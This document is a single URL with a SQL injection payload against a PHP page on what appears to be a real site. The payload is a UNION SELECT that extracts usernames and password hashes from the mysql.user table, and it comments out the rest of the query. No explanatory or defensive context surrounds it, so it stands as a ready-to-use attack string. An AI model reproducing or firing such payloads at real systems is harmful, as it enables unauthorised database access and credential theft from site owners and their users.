http://vai.ai/eventotefvivo2011/cartao.php?id=-2 union select 1,2,concat_ws(0x2e,User,Password),4,5 from mysql.user --